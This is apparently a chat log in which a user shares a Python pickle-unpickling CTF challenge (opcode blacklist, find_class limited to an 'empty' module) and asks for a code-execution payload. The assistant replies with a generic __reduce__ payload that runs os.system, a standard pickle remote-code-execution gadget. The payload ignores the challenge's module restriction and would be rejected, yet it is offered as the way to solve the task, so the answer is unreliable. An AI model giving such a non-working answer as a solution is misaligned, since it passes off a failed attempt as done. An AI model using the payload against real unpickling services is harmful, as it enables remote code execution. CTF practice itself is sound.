#!/usr/bin/env python3 import pickle import pickletools import io import sys…
- User
#!/usr/bin/env python3
import pickle import pickletools import io import sys
BLACKLIST_OPCODES = { "BUILD", "SETITEM", "SETITEMS", "DICT", "EMPTY_DICT", "INST", "OBJ", "NEWOBJ", "EXT1", "EXT2", "EXT4", "EMPTY_SET", "ADDITEMS", "FROZENSET", "NEWOBJ_EX", "FRAME", "BYTEARRAY8", "NEXT_BUFFER", "READONLY_BUFFER", }
module = type(builtins) empty = module("empty") sys.modules["empty"] = empty
class MyUnpickler(pickle.Unpickler): def find_class(self, module, name): print(module) print(name) print(name.count(".")) if module == "empty" and name.count(".") <= 1 and "setattr" not in name and "setitem" not in name: print("Success") return super().find_class(module, name) else: raise pickle.UnpicklingError("No :(")
def check(data): for opcode,b,c in pickletools.genops(data): if opcode.name in BLACKLIST_OPCODES: print(f"Triggered on {opcode.name}") return ( all( opcode.name not in BLACKLIST_OPCODES for opcode, _, _ in pickletools.genops(data) ) and len(data) <= 400 )
if name == "main": data = bytes.fromhex(input("Enter your hex-encoded pickle data: ")) if check(data): result = MyUnpickler(io.BytesIO(data)).load() print(f"Result: {result}") else: print("Check failed :(")
Solve this ctf challenge. It wants an "empty" module but we need to get code execution via a pickled payload that avoids the blacklist.
- Assistant
Given the constraints and the blacklist in the code, the standard methods of code execution through pickle payload might not work. However, there is an alternative approach using the pickle
reduce()function in a payload that avoids the blacklist.Here is a payload that uses
reduce()for code execution:import pickle class Exploit(object): def __reduce__(self): import os return (os.system, ('YOUR_COMMAND_HERE',)) payload = pickle.dumps(Exploit()) hex_payload = payload.hex()Replace
YOUR_COMMAND_HEREwith the command you want to execute, e.g.,touch exploit.txtto create an 'exploit.txt' file in the current working directory.Now, for this payload to work, the hex-encoded data must pass the check and not trigger any opcode in the blacklist (see the provided code). Try the payload and see if it passes the test. If it does, copy the hex-encoded payload, and input it to the program to solve the CTF challenge.
Please note that this approach can be dangerous if not used responsibly. Ensure you understand the code you are running and only use it for ethical hacking purposes or solving CTF challenges, as intended in this question.